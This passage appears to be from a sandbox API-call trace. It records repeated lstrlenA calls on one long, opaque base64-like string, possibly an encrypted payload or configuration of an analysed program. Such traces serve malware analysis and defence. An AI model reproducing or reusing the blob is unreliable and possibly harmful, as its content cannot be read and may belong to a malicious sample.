(lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1